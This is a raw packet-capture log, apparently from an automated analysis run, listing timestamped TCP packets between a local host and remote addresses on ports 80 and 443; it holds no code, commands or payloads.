Oct 31, 2024 23:38:15.718202114 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.718204975 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.718215942 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.718216896 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.718230963 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.718238115 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.718246937 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.718247890 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.718262911 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.718266964 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.718290091 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.718300104 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.718704939 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.718763113 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.718777895 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.718797922 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.718831062 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.718844891 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.718859911 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.718873978 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.718888998 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.718900919 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.718924999 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.719014883 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.719029903 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.719043970 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.719053030 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.719086885 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.719086885 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.719155073 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.719170094 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.719191074 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.719206095 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.719213009 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.719222069 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.719224930 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.719247103 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.719259977 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.719342947 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.719358921 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.719372988 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.719383955 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.719388008 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.719393969 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.719403982 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.719413042 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.719419956 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.719433069 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.719435930 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.719450951 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.719453096 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.719463110 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.719465017 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.719487906 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.719490051 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.719502926 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.719511986 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.719516993 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.719527006 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.719537020 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.719541073 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.719556093 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.719556093 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.719571114 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.719579935 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.719587088 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.719592094 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.719602108 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.719607115 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.719619036 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.719630003 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.719634056 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.719645977 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.719649076 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.719667912 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.719671011 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.719682932 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.719686031 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.719698906 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.719708920 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.719722986 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.719733953 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.719738007 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.719747066 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.719753027 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.719763994 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.719767094 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.719774008 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.719774961 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.719783068 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.719796896 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.719810963 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.719820023 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.719825983 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.719841003 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.719846010 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.719858885 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.719868898 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.719870090 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.719887018 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.719892979 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.719903946 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.719907999 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.719922066 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.719932079 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.719938040 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.719952106 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.719953060 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.719959974 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.719969034 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.719980001 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.719983101 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.719997883 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.720012903 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.720017910 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.720042944 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.720051050 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.720406055 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.720465899 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.720469952 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.720484972 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.720499039 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.720508099 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.720519066 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.720534086 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.720582962 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.720597982 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.720613003 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.720618963 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.720628977 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.720635891 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.720643997 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.720645905 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.720662117 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.720666885 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.720688105 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.720706940 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.720745087 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.720760107 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.720773935 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.720778942 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.720788956 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.720794916 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.720804930 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.720810890 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.720819950 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.720835924 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.720838070 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.720853090 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.720856905 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.720869064 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.720870018 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.720881939 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.720896006 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.720896959 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.720912933 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.720921040 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.720927954 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.720938921 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.720942974 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.720959902 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.720962048 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.720973015 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.720984936 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.721005917 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.721354961 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.721369982 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.721383095 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.721396923 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.721407890 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.721420050 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.721434116 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.721438885 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.721450090 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.721465111 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.721467018 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.721479893 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.721493959 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.721497059 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.721508980 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.721517086 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.721524000 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.721532106 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.721546888 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.721556902 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.721569061 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.721577883 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.721585035 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.721587896 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.721601009 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.721609116 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.721617937 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.721618891 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.721632957 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.721636057 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.721648932 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.721652985 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.721662045 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.721688032 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.732693911 CET	443	49841	188.114.97.3	192.168.2.4
Oct 31, 2024 23:38:15.732764006 CET	443	49841	188.114.97.3	192.168.2.4
Oct 31, 2024 23:38:15.732851982 CET	49841	443	192.168.2.4	188.114.97.3
Oct 31, 2024 23:38:15.732861042 CET	443	49841	188.114.97.3	192.168.2.4
Oct 31, 2024 23:38:15.733031034 CET	443	49841	188.114.97.3	192.168.2.4
Oct 31, 2024 23:38:15.733078957 CET	49841	443	192.168.2.4	188.114.97.3
Oct 31, 2024 23:38:15.733087063 CET	443	49841	188.114.97.3	192.168.2.4
Oct 31, 2024 23:38:15.733613014 CET	443	49841	188.114.97.3	192.168.2.4
Oct 31, 2024 23:38:15.734862089 CET	49841	443	192.168.2.4	188.114.97.3
Oct 31, 2024 23:38:15.749593019 CET	49841	443	192.168.2.4	188.114.97.3
Oct 31, 2024 23:38:15.749598980 CET	443	49841	188.114.97.3	192.168.2.4
Oct 31, 2024 23:38:15.749609947 CET	49841	443	192.168.2.4	188.114.97.3
Oct 31, 2024 23:38:15.749614000 CET	443	49841	188.114.97.3	192.168.2.4
Oct 31, 2024 23:38:15.757225990 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.757313013 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.757328033 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.757349968 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.757371902 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.757411003 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.794862986 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.794878960 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.794900894 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.794926882 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.794955015 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.795079947 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.795094967 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.795115948 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.795116901 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.795130968 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.795139074 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.795146942 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.795159101 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.795161009 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.795176029 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.795185089 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.795186043 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.795202971 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.795207977 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.795219898 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.795221090 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.795245886 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.795264006 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.798871994 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.798897028 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.798908949 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.798913002 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.798934937 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.798938990 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.798945904 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.798954964 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.798969984 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.798995972 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.798995972 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.799122095 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.799135923 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.799149990 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.799171925 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.799191952 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.907371044 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.907396078 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.907409906 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.907455921 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.907495022 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.907495022 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.907510042 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.907526016 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.907541037 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.907552958 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.907556057 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.907571077 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.907577991 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.907587051 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.907601118 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.907603025 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.907614946 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.907619953 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.907634020 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.907644987 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.907649040 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.907660961 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.907676935 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.907691956 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.907787085 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.907824039 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.907833099 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.907874107 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.907866955 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.907890081 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.907907009 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.907912970 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.907927036 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.907938957 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.907943010 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.907953978 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.907969952 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.907975912 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.907990932 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.907994986 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.908004045 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.908005953 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.908025026 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.908030033 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.908039093 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.908051968 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.908066034 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.908067942 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.908082962 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.908090115 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.908098936 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.908098936 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.908114910 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.908123016 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.908133030 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.908144951 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.908149004 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.908179998 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.908195972 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.908211946 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.908235073 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.908245087 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.908282042 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.908297062 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.908312082 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.908328056 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.908337116 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.908360004 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.908386946 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.908415079 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.908430099 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.908442974 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.908454895 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.908457994 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.908463955 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.908473969 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.908483982 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.908488035 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.908493042 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.908504009 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.908525944 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.908525944 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.908525944 CET	49837	80	192.168.2.4	185.215.113.16
